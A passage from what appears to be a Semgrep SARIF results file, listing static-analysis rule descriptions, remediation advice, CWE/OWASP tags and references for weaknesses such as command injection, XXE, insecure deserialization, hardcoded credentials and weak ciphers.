javascript.lang.security.audit.path-traversal.path-join-resolve-traversal.path-join-resolve-traversal"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected the decoding of a JWT token without a verify step. JWT tokens must be verified before use, otherwise the token's integrity is unknown. This means a malicious actor could forge a JWT token with any claims. Call '.verify()' before using the token."},"help":{"markdown":"Detected the decoding of a JWT token without a verify step. JWT tokens must be verified before use, otherwise the token's integrity is unknown. This means a malicious actor could forge a JWT token with any claims. Call '.verify()' before using the token.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.java-jwt.security.audit.jwt-decode-without-verify.java-jwt-decode-without-verify)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n","text":"Detected the decoding of a JWT token without a verify step. JWT tokens must be verified before use, otherwise the token's integrity is unknown. This means a malicious actor could forge a JWT token with any claims. Call '.verify()' before using the token."},"helpUri":"https://semgrep.dev/r/java.java-jwt.security.audit.jwt-decode-without-verify.java-jwt-decode-without-verify","id":"java.java-jwt.security.audit.jwt-decode-without-verify.java-jwt-decode-without-verify","name":"java.java-jwt.security.audit.jwt-decode-without-verify.java-jwt-decode-without-verify","properties":{"precision":"very-high","tags":["CWE-345: Insufficient Verification of Data Authenticity","MEDIUM CONFIDENCE","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.java-jwt.security.audit.jwt-decode-without-verify.java-jwt-decode-without-verify"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a unquoted template variable as an attribute. If unquoted, a malicious actor could inject custom JavaScript handlers. To fix this, add quotes around the template expression, like this: \"<%= expr %>\"."},"help":{"markdown":"Detected a unquoted template variable as an attribute. If unquoted, a malicious actor could inject custom JavaScript handlers. To fix this, add quotes around the template expression, like this: \"<%= expr %>\".\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.audit.xss.templates.unquoted-attribute.unquoted-attribute)\n - [https://brakemanpro.com/2017/09/08/cross-site-scripting-in-rails#unquoted-attributes](https://brakemanpro.com/2017/09/08/cross-site-scripting-in-rails#unquoted-attributes)\n - [https://flask.palletsprojects.com/en/1.1.x/security/#cross-site-scripting-xss](https://flask.palletsprojects.com/en/1.1.x/security/#cross-site-scripting-xss)\n","text":"Detected a unquoted template variable as an attribute. If unquoted, a malicious actor could inject custom JavaScript handlers. To fix this, add quotes around the template expression, like this: \"<%= expr %>\"."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.audit.xss.templates.unquoted-attribute.unquoted-attribute","id":"ruby.rails.security.audit.xss.templates.unquoted-attribute.unquoted-attribute","name":"ruby.rails.security.audit.xss.templates.unquoted-attribute.unquoted-attribute","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.audit.xss.templates.unquoted-attribute.unquoted-attribute"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. Untrusted input in a command can lead to command injection, allowing attackers to execute arbitrary commands and gain control of the system. To prevent this: 1. Avoid direct command execution: Don't run OS commands with user input directly. 2. Validate and sanitize input: Ensure input is safe by removing or escaping dangerous characters. 3. (preferred) Use safe methods: Use `subprocess.run` without `shell=True` to safely execute commands, as it doesn't call a system shell by default. If `shell=True` is necessary, properly quote and escape all input to prevent shell injection. This is a secure by default approach."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. Untrusted input in a command can lead to command injection, allowing attackers to execute arbitrary commands and gain control of the system. To prevent this: 1. Avoid direct command execution: Don't run OS commands with user input directly. 2. Validate and sanitize input: Ensure input is safe by removing or escaping dangerous characters. 3. (preferred) Use safe methods: Use `subprocess.run` without `shell=True` to safely execute commands, as it doesn't call a system shell by default. If `shell=True` is necessary, properly quote and escape all input to prevent shell injection. This is a secure by default approach.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.os.tainted-os-command-stdlib-aws-lambda-secure-default.tainted-os-command-stdlib-aws-lambda-secure-default)\n - [https://docs.python.org/3/library/os.html](https://docs.python.org/3/library/os.html)\n - [https://docs.python.org/3/library/subprocess.html#using-the-subprocess-module](https://docs.python.org/3/library/subprocess.html#using-the-subprocess-module)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://semgrep.dev/docs/cheat-sheets/python-command-injection/](https://semgrep.dev/docs/cheat-sheets/python-command-injection/)\n - [https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html](https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. Untrusted input in a command can lead to command injection, allowing attackers to execute arbitrary commands and gain control of the system. To prevent this: 1. Avoid direct command execution: Don't run OS commands with user input directly. 2. Validate and sanitize input: Ensure input is safe by removing or escaping dangerous characters. 3. (preferred) Use safe methods: Use `subprocess.run` without `shell=True` to safely execute commands, as it doesn't call a system shell by default. If `shell=True` is necessary, properly quote and escape all input to prevent shell injection. This is a secure by default approach."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.os.tainted-os-command-stdlib-aws-lambda-secure-default.tainted-os-command-stdlib-aws-lambda-secure-default","id":"python.aws-lambda.os.tainted-os-command-stdlib-aws-lambda-secure-default.tainted-os-command-stdlib-aws-lambda-secure-default","name":"python.aws-lambda.os.tainted-os-command-stdlib-aws-lambda-secure-default.tainted-os-command-stdlib-aws-lambda-secure-default","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.os.tainted-os-command-stdlib-aws-lambda-secure-default.tainted-os-command-stdlib-aws-lambda-secure-default"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `shelve` module uses `pickle` and should not be used with data from untrusted sources."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `shelve` module uses `pickle` and should not be used with data from untrusted sources.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.deserialization.tainted-shelve-django.tainted-shelve-django)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://docs.python.org/3/library/shelve.html](https://docs.python.org/3/library/shelve.html)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `shelve` module uses `pickle` and should not be used with data from untrusted sources."},"helpUri":"https://semgrep.dev/r/python.django.deserialization.tainted-shelve-django.tainted-shelve-django","id":"python.django.deserialization.tainted-shelve-django.tainted-shelve-django","name":"python.django.deserialization.tainted-shelve-django.tainted-shelve-django","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.deserialization.tainted-shelve-django.tainted-shelve-django"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"AWS Account ID detected. While not considered sensitive information, it is important to use them and share them carefully. For that reason it would be preferrable avoiding to hardcoded it here. Instead, read the value from an environment variable or keep the value in a separate, private file."},"help":{"markdown":"AWS Account ID detected. While not considered sensitive information, it is important to use them and share them carefully. For that reason it would be preferrable avoiding to hardcoded it here. Instead, read the value from an environment variable or keep the value in a separate, private file.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-aws-account-id.detected-aws-account-id)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"AWS Account ID detected. While not considered sensitive information, it is important to use them and share them carefully. For that reason it would be preferrable avoiding to hardcoded it here. Instead, read the value from an environment variable or keep the value in a separate, private file."},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-aws-account-id.detected-aws-account-id","id":"generic.secrets.security.detected-aws-account-id.detected-aws-account-id","name":"generic.secrets.security.detected-aws-account-id.detected-aws-account-id","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-aws-account-id.detected-aws-account-id"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"blockhash(block.number) and blockhash(block.number + N) always returns 0."},"help":{"markdown":"blockhash(block.number) and blockhash(block.number + N) always returns 0.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/solidity.security.incorrect-use-of-blockhash.incorrect-use-of-blockhash)\n - [https://blog.positive.com/predicting-random-numbers-in-ethereum-smart-contracts-e5358c6b8620](https://blog.positive.com/predicting-random-numbers-in-ethereum-smart-contracts-e5358c6b8620)\n","text":"blockhash(block.number) and blockhash(block.number + N) always returns 0."},"helpUri":"https://semgrep.dev/r/solidity.security.incorrect-use-of-blockhash.incorrect-use-of-blockhash","id":"solidity.security.incorrect-use-of-blockhash.incorrect-use-of-blockhash","name":"solidity.security.incorrect-use-of-blockhash.incorrect-use-of-blockhash","properties":{"precision":"very-high","tags":["CWE-341: Predictable from Observable State","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: solidity.security.incorrect-use-of-blockhash.incorrect-use-of-blockhash"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.jose.security.jwt-hardcode.hardcoded-jwt-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/javascript.jose.security.jwt-hardcode.hardcoded-jwt-secret","id":"javascript.jose.security.jwt-hardcode.hardcoded-jwt-secret","name":"javascript.jose.security.jwt-hardcode.hardcoded-jwt-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.jose.security.jwt-hardcode.hardcoded-jwt-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"DOCTYPE declarations are enabled for javax.xml.parsers.SAXParserFactory. Without prohibiting external entity declarations, this is vulnerable to XML external entity attacks. Disable this by setting the feature \"http://apache.org/xml/features/disallow-doctype-decl\" to true. Alternatively, allow DOCTYPE declarations and only prohibit external entities declarations. This can be done by setting the features \"http://xml.org/sax/features/external-general-entities\" and \"http://xml.org/sax/features/external-parameter-entities\" to false."},"help":{"markdown":"DOCTYPE declarations are enabled for javax.xml.parsers.SAXParserFactory. Without prohibiting external entity declarations, this is vulnerable to XML external entity attacks. Disable this by setting the feature \"http://apache.org/xml/features/disallow-doctype-decl\" to true. Alternatively, allow DOCTYPE declarations and only prohibit external entities declarations. This can be done by setting the features \"http://xml.org/sax/features/external-general-entities\" and \"http://xml.org/sax/features/external-parameter-entities\" to false.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/clojure.lang.security.documentbuilderfactory-xxe.documentbuilderfactory-xxe)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://xerces.apache.org/xerces2-j/features.html](https://xerces.apache.org/xerces2-j/features.html)\n","text":"DOCTYPE declarations are enabled for javax.xml.parsers.SAXParserFactory. Without prohibiting external entity declarations, this is vulnerable to XML external entity attacks. Disable this by setting the feature \"http://apache.org/xml/features/disallow-doctype-decl\" to true. Alternatively, allow DOCTYPE declarations and only prohibit external entities declarations. This can be done by setting the features \"http://xml.org/sax/features/external-general-entities\" and \"http://xml.org/sax/features/external-parameter-entities\" to false."},"helpUri":"https://semgrep.dev/r/clojure.lang.security.documentbuilderfactory-xxe.documentbuilderfactory-xxe","id":"clojure.lang.security.documentbuilderfactory-xxe.documentbuilderfactory-xxe","name":"clojure.lang.security.documentbuilderfactory-xxe.documentbuilderfactory-xxe","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: clojure.lang.security.documentbuilderfactory-xxe.documentbuilderfactory-xxe"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.gin.nosql.gin-mongo-nosql-taint.gin-mongo-nosqli-taint)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"helpUri":"https://semgrep.dev/r/go.gin.nosql.gin-mongo-nosql-taint.gin-mongo-nosqli-taint","id":"go.gin.nosql.gin-mongo-nosql-taint.gin-mongo-nosqli-taint","name":"go.gin.nosql.gin-mongo-nosql-taint.gin-mongo-nosqli-taint","properties":{"precision":"very-high","tags":["CWE-943: Improper Neutralization of Special Elements in Data Query Logic","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.gin.nosql.gin-mongo-nosql-taint.gin-mongo-nosqli-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The `eval()` function evaluates JavaScript code represented as a string. Executing JavaScript from a string is an enormous security risk. It is far too easy for a bad actor to run arbitrary code when you use `eval()`. Ensure evaluated content is not definable by external sources."},"help":{"markdown":"The `eval()` function evaluates JavaScript code represented as a string. Executing JavaScript from a string is an enormous security risk. It is far too easy for a bad actor to run arbitrary code when you use `eval()`. Ensure evaluated content is not definable by external sources.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.aws-lambda.security.tainted-eval.tainted-eval)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"The `eval()` function evaluates JavaScript code represented as a string. Executing JavaScript from a string is an enormous security risk. It is far too easy for a bad actor to run arbitrary code when you use `eval()`. Ensure evaluated content is not definable by external sources."},"helpUri":"https://semgrep.dev/r/javascript.aws-lambda.security.tainted-eval.tainted-eval","id":"javascript.aws-lambda.security.tainted-eval.tainted-eval","name":"javascript.aws-lambda.security.tainted-eval.tainted-eval","properties":{"precision":"very-high","tags":["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.aws-lambda.security.tainted-eval.tainted-eval"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"The application does not appear to verify inbound requests which can lead to a Cross-site request forgery (CSRF) vulnerability. If the application uses cookie-based authentication, an attacker can trick users into sending authenticated HTTP requests without their knowledge from any arbitrary domain they visit. If this is intentional, remember that with `WTF_CSRF_CHECK_DEFAULT` set to `False` the CSRF tokens are still enabled and included, but the check no longer happens automatically, which weakens the security of the application. Doing the check manually requires a call to `csrf.protect()` before handling the request. An appropriate place to do this is a `@app.before_request` decorated function."},"help":{"markdown":"The application does not appear to verify inbound requests which can lead to a Cross-site request forgery (CSRF) vulnerability. If the application uses cookie-based authentication, an attacker can trick users into sending authenticated HTTP requests without their knowledge from any arbitrary domain they visit. If this is intentional, remember that with `WTF_CSRF_CHECK_DEFAULT` set to `False` the CSRF tokens are still enabled and included, but the check no longer happens automatically, which weakens the security of the application. Doing the check manually requires a call to `csrf.protect()` before handling the request. An appropriate place to do this is a `@app.before_request` decorated function.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.web.flask-wtf-csrf-check-default-false.flask-wtf-csrf-check-default-false)\n - [https://flask-wtf.readthedocs.io/en/1.2.x/config/](https://flask-wtf.readthedocs.io/en/1.2.x/config/)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"The application does not appear to verify inbound requests which can lead to a Cross-site request forgery (CSRF) vulnerability. If the application uses cookie-based authentication, an attacker can trick users into sending authenticated HTTP requests without their knowledge from any arbitrary domain they visit. If this is intentional, remember that with `WTF_CSRF_CHECK_DEFAULT` set to `False` the CSRF tokens are still enabled and included, but the check no longer happens automatically, which weakens the security of the application. Doing the check manually requires a call to `csrf.protect()` before handling the request. An appropriate place to do this is a `@app.before_request` decorated function."},"helpUri":"https://semgrep.dev/r/python.flask.web.flask-wtf-csrf-check-default-false.flask-wtf-csrf-check-default-false","id":"python.flask.web.flask-wtf-csrf-check-default-false.flask-wtf-csrf-check-default-false","name":"python.flask.web.flask-wtf-csrf-check-default-false.flask-wtf-csrf-check-default-false","properties":{"precision":"very-high","tags":["CWE-352: Cross-Site Request Forgery (CSRF)","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.web.flask-wtf-csrf-check-default-false.flask-wtf-csrf-check-default-false"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected MD5 hash algorithm which is considered insecure. MD5 is not collision resistant and is therefore not suitable as a cryptographic signature. Use HMAC instead."},"help":{"markdown":"Detected MD5 hash algorithm which is considered insecure. MD5 is not collision resistant and is therefore not suitable as a cryptographic signature. Use HMAC instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.use-of-md5.use-of-md5)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected MD5 hash algorithm which is considered insecure. MD5 is not collision resistant and is therefore not suitable as a cryptographic signature. Use HMAC instead."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.crypto.use-of-md5.use-of-md5","id":"java.lang.security.audit.crypto.use-of-md5.use-of-md5","name":"java.lang.security.audit.crypto.use-of-md5.use-of-md5","properties":{"precision":"very-high","tags":["CWE-328: Use of Weak Hash","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.crypto.use-of-md5.use-of-md5"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A cookie was detected without setting the 'HttpOnly' flag. The 'HttpOnly' flag for cookies instructs the browser to forbid client-side scripts from reading the cookie. Set the 'HttpOnly' flag by calling 'cookie.setHttpOnly(true);'"},"help":{"markdown":"A cookie was detected without setting the 'HttpOnly' flag. The 'HttpOnly' flag for cookies instructs the browser to forbid client-side scripts from reading the cookie. Set the 'HttpOnly' flag by calling 'cookie.setHttpOnly(true);'\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.audit.cookie-httponly-false.cookie-httponly-false)\n - [https://owasp.org/www-community/HttpOnly](https://owasp.org/www-community/HttpOnly)\n","text":"A cookie was detected without setting the 'HttpOnly' flag. The 'HttpOnly' flag for cookies instructs the browser to forbid client-side scripts from reading the cookie. Set the 'HttpOnly' flag by calling 'cookie.setHttpOnly(true);'"},"helpUri":"https://semgrep.dev/r/java.servlets.security.audit.cookie-httponly-false.cookie-httponly-false","id":"java.servlets.security.audit.cookie-httponly-false.cookie-httponly-false","name":"java.servlets.security.audit.cookie-httponly-false.cookie-httponly-false","properties":{"precision":"very-high","tags":["CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.audit.cookie-httponly-false.cookie-httponly-false"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"The application is running debug code or has debug mode enabled. This may expose sensitive information, like stack traces and environment variables, to attackers. It may also modify application behavior, potentially enabling attackers to bypass restrictions. To remediate this finding, ensure that the application's debug code and debug mode are disabled or removed from the production environment."},"help":{"markdown":"The application is running debug code or has debug mode enabled. This may expose sensitive information, like stack traces and environment variables, to attackers. It may also modify application behavior, potentially enabling attackers to bypass restrictions. To remediate this finding, ensure that the application's debug code and debug mode are disabled or removed from the production environment.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.ktor.active-debug-code.ktor-development-mode-gradle.ktor-development-mode-gradle)\n - [https://ktor.io/docs/development-mode.html#application-conf](https://ktor.io/docs/development-mode.html#application-conf)\n","text":"The application is running debug code or has debug mode enabled. This may expose sensitive information, like stack traces and environment variables, to attackers. It may also modify application behavior, potentially enabling attackers to bypass restrictions. To remediate this finding, ensure that the application's debug code and debug mode are disabled or removed from the production environment."},"helpUri":"https://semgrep.dev/r/kotlin.ktor.active-debug-code.ktor-development-mode-gradle.ktor-development-mode-gradle","id":"kotlin.ktor.active-debug-code.ktor-development-mode-gradle.ktor-development-mode-gradle","name":"kotlin.ktor.active-debug-code.ktor-development-mode-gradle.ktor-development-mode-gradle","properties":{"precision":"very-high","tags":["CWE-489: Active Debug Code","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.ktor.active-debug-code.ktor-development-mode-gradle.ktor-development-mode-gradle"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"HockeyApp detected"},"help":{"markdown":"HockeyApp detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-hockeyapp.detected-hockeyapp)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"HockeyApp detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-hockeyapp.detected-hockeyapp","id":"generic.secrets.security.detected-hockeyapp.detected-hockeyapp","name":"generic.secrets.security.detected-hockeyapp.detected-hockeyapp","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-hockeyapp.detected-hockeyapp"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The 'add_header' directive is called in a 'location' block after headers have been set at the server block. Calling 'add_header' in the location block will actually overwrite the headers defined in the server block, no matter which headers are set. To fix this, explicitly set all headers or set all headers in the server block."},"help":{"markdown":"The 'add_header' directive is called in a 'location' block after headers have been set at the server block. Calling 'add_header' in the location block will actually overwrite the headers defined in the server block, no matter which headers are set. To fix this, explicitly set all headers or set all headers in the server block.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.nginx.security.header-redefinition.header-redefinition)\n - [https://github.com/yandex/gixy/blob/master/docs/en/plugins/addheaderredefinition.md](https://github.com/yandex/gixy/blob/master/docs/en/plugins/addheaderredefinition.md)\n","text":"The 'add_header' directive is called in a 'location' block after headers have been set at the server block. Calling 'add_header' in the location block will actually overwrite the headers defined in the server block, no matter which headers are set. To fix this, explicitly set all headers or set all headers in the server block."},"helpUri":"https://semgrep.dev/r/generic.nginx.security.header-redefinition.header-redefinition","id":"generic.nginx.security.header-redefinition.header-redefinition","name":"generic.nginx.security.header-redefinition.header-redefinition","properties":{"precision":"very-high","tags":["CWE-16: CWE CATEGORY: Configuration","LOW CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","OWASP-A06:2017 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: generic.nginx.security.header-redefinition.header-redefinition"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"By not specifying a USER, a program in the container may run as 'root'. This is a security hazard. If an attacker can control a process running as root, they may have control over the container. Ensure that the last USER in a Dockerfile is a USER other than 'root'."},"help":{"markdown":"By not specifying a USER, a program in the container may run as 'root'. This is a security hazard. If an attacker can control a process running as root, they may have control over the container. Ensure that the last USER in a Dockerfile is a USER other than 'root'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/dockerfile.security.missing-user.missing-user)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design](https://owasp.org/Top10/A04_2021-Insecure_Design)\n","text":"By not specifying a USER, a program in the container may run as 'root'. This is a security hazard. If an attacker can control a process running as root, they may have control over the container. Ensure that the last USER in a Dockerfile is a USER other than 'root'."},"helpUri":"https://semgrep.dev/r/dockerfile.security.missing-user.missing-user","id":"dockerfile.security.missing-user.missing-user","name":"dockerfile.security.missing-user.missing-user","properties":{"precision":"very-high","tags":["CWE-269: Improper Privilege Management","MEDIUM CONFIDENCE","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: dockerfile.security.missing-user.missing-user"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected Blowfish cipher algorithm which is considered insecure. This algorithm is not cryptographically secure and can be reversed easily. Use secure stream ciphers such as ChaCha20, XChaCha20 and Salsa20, or a block cipher such as AES with a block size of 128 bits. When using a block cipher, use a modern mode of operation that also provides authentication, such as GCM."},"help":{"markdown":"Detected Blowfish cipher algorithm which is considered insecure. This algorithm is not cryptographically secure and can be reversed easily. Use secure stream ciphers such as ChaCha20, XChaCha20 and Salsa20, or a block cipher such as AES with a block size of 128 bits. When using a block cipher, use a modern mode of operation that also provides authentication, such as GCM.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pycryptodome.security.insecure-cipher-algorithm-blowfish.insecure-cipher-algorithm-blowfish)\n - [https://stackoverflow.com/questions/1135186/whats-wrong-with-xor-encryption](https://stackoverflow.com/questions/1135186/whats-wrong-with-xor-encryption)\n - [https://www.pycryptodome.org/src/cipher/cipher](https://www.pycryptodome.org/src/cipher/cipher)\n","text":"Detected Blowfish cipher algorithm which is considered insecure. This algorithm is not cryptographically secure and can be reversed easily. Use secure stream ciphers such as ChaCha20, XChaCha20 and Salsa20, or a block cipher such as AES with a block size of 128 bits. When using a block cipher, use a modern mode of operation that also provides authentication, such as 